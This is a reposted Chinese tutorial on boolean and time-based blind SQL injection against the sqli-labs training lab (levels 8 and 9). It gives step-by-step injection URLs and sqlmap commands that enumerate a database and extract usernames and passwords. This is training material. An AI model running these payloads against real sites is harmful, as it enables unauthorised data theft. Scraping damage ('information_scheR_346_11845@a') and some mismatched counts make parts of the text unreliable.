大佬教程收集整理的这篇文章主要介绍了3. web安全之sql注入(3),大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
一. 盲注原理
1. 盲注应用场景
盲注常用于与数据库交互无详细回显的地方;布尔盲注根据页面返回值的正常/不正常(对/错)进行注入;时间盲注根据延时函数sleep的延时时间进行注入;
2. 盲注语句解析
布尔盲注常用语句:SELEct id,username,password from users where id='1' and length(database())=8
这里重要的and ;由于and如果为真;则需要左右为真。所以当右边length(database())=x成立时,就会回显正常的页面,当右 边length(database())=x不成立时,就会返回错误的页面;布尔盲注就是根据对/错进行盲注
3. 盲注源码解析
查看sqli-labs-master第八关源码
@H_923_30@mysql_quert函数:执行一条mysql查询
mysql_fetch_array函数:从结果集中取得一行作为关联数组,或数字数组
可以看到其中主要就是传入一个get变量$id,然后再执行一条sql语句:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
然后再进行if判断;如果sql语句存在回显则输出You are in... ...;如果不存在回显则输出 ;也就是sql语句正确则输出You are in... ...;sql语句错误则什么都不输出;
4. 盲注常用函数
length() 查询指定字符串字符数
ascii() 将指定字符转化为ascii码
@H_923_30@mid(data,start,leng) 截取指定长度的字符串
sleep() 延时时间输出
count() 查询数目(个数)
if() 条件判断语句
二. 布尔盲注
靶机:sqli-labs-master第八关
1. 查询注入点
?id=1' and 1=1-- - 正确;?id=1' and 1=2-- - 错误
2. 查询数据库
(1)查询数据库名字符数
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8-- -
查询出来字符数为8
(2)查询数据库名第一个字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))=115-- -
根据ascii码进行对比得出第一个字符为s
ascii对照表——ASCII码一览表,ASCII码对照表 (biancheng wangt.cc )
后面的直接使用burp爆破就可以了
burp爆破步骤:
1)设置代理;拦截数据包
2)转发进intruder(快捷键Ctrl+l)
3)设置爆破位置(变量)
4)选择payloads进行配置字典
第一个参数
第二个参数
5)进行爆破;挑选出寻在回显的参数;
根据位置和ascii数值,很容易得出数据库名为security
3. 查询数据表
(1)查询数据表数目
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct count(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security')=4-- -
得到security数据库下属表个数为5
(2)查询第一个表字符数
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=6-- -
得出第一个表字符数为6
(3) 查询第一个表的第一个字符
其余字符类似改变mid函数起始位;其余表类似改变limit函数起始位;得出存在users表
4. 查询字段
(1)查询users表字段数目
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct count(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security')=3-- -
查询得到users表下面有3个字段
(2) 查询第一个字段的字符数
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=2-- -
可以得出第一个字段字段数为2
(3)查询第一个字段的第一个字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct ascii(mid((column_Name),1,1)) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=105-- -
得出第一个字段的第一个字符为 i
同理;可得第二个字符为d;第二个表为username;第三个表为password
5. 查询数据
(1)查询数据字符数
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11-- -
得到第一个(id~username~password)的字符数为11
(2)查询数据字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct ascii(mid((concat(id,0x7e,username,0x7e,password)),1,1)) from users limit 0,1)=49-- -
得到第一个字符数为1
其余依旧上面的例子可以得出所有数据
3. 时间盲注
靶机:sqli-labs-master第九关
时间盲注和布尔盲注的唯一区别:布尔盲注根据回显判断对错;时间盲注根据时间延时判断对错
1. 查询注入点
发现mysql有个特性:
只要如果查询为数字,主要第一个数字和数据库匹配;且后面不加数字;其余任何字符无影响(只对于数字索引)
发现第九题无论输入何值,都返回固定的数值;所以布尔盲注不能使用;只能使用延时盲注判断注入点
?id=1' and if(1=1,sleep(0),sleep(5))-- - 时,延时较短2s;?id=1' and if(1=2,sleep(0),sleep(5))-- - 时,延时较长7s
存在注入点,且闭合符号‘
@H_220_607@
2. 查询数据库
(1)查询数据库字符数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(database()))=8,sleep(5),sleep(0))-- -
当等于8时延时较长;所以数据库字符数为8
(2)查询数据库第一个字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(database(),1,1)))=115,sleep(5),sleep(0))-- -
当第一个字符ascii码为115时,延时较长;所以数据库第一个字符为s
之后同理,改变mid函数起始位的位置,可以得出数据库名为security
3. 查询表
(1)查询security下表个数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct count(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security')=4,sleep(5),sleep(0))-- -
当表格数为4时延时较长;所以security数据库下有4个表
(2)查询第一个表字符数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=6,sleep(5),sleep(0))-- -
当字符数为6时,延时较长,所以第一个表字符数为6
(3)查询第一表第一个字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid((table_Name),1,1)) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=101,sleep(5),sleep(0))-- -
当第一个数ascii码为101时,延时较长;所以第一个表第一个字符为e
安装上面的格式查,可以查到4个表中有一个users的表
4. 查询字段
(1)查询users表下面的字段数目
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct count(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security')=3,sleep(5),sleep(0))-- -
查询出users表下面存在5个字段
(2)查询users表第一个字段字符数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=2,sleep(5),sleep(0))-- -
第一个字段字符数为2
(3)查询第一个字段的第一个字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(column_name,1,1)) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=105,sleep(5),sleep(0))-- -
第一个字段的第一个字符为i
依旧上面的套路可以得出全部字段:id username password
5. 查询数据
(1)查询第一列数据字符数
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11,sleep(5),sleep(0))-- -
说明第一列的id~username~password组合为11个字符
查询第一列的第一个字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(concat(id,0x7e,username,0x7e,password),1,1)) from users limit 0,1)=49,sleep(5),sleep(0))-- -
得出第一列第一个字符为1
依次可得出第一列的全部字符为: 1~Dumb~Dumb
sqlmap工具盲注
1. sqlmap常用参数
-u 指定url
-p 指定注入参数
-D 指定数据库名
-T 指定表名
-C 指定列名
--dbs 查询所有数据库名
--current-db 查询当前数据库名
--tables 查询所有表
--columns 查询所有列
--batch 自动化默认操作
-r 指定路径 burp抓到的包指定路径(适合post;有cookie;免验证)
--forms 自动识别post表单参数 适合无登录的url,或手动添加cookie
--cookie 指定cookie
--technique Q 指定注入方式为内联查询
--technique B 指定注入方式为布尔盲注
--technique T 指定注入方式为时间盲注
2. sqlmap布尔盲注
靶机:sqli-labs-master 第8关
攻击机:127.0.0.1
(1)查询是否存在注入点
sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --batch
查询得出id是基于布尔的可注入点
(2)查询当前数据库名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch
(3)查询表名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security --tables --batch
(4)查询字段名
sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users --columns --batch
(5)查询数据
sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users -C username --dump --batch
3. sqlmap时间盲注
靶机:sqli-labs-master 第九关
时间盲注与布尔盲注相同,不过需要将 --technique B 换为 --technique T
(1)查询是否存在注入点
略
(2)查询数据库名
略
(3)查询表名
略
(4)查询字段名
略
(5)查询数据
sqlmap -u "127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T -D security -T users -C username --dump --batch
注入的太慢不想等了;不过时间足够长是可以注入成功的
以上是大佬教程为你收集整理的3. web安全之sql注入(3)全部内容,希望文章能够帮你解决3. web安全之sql注入(3)所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。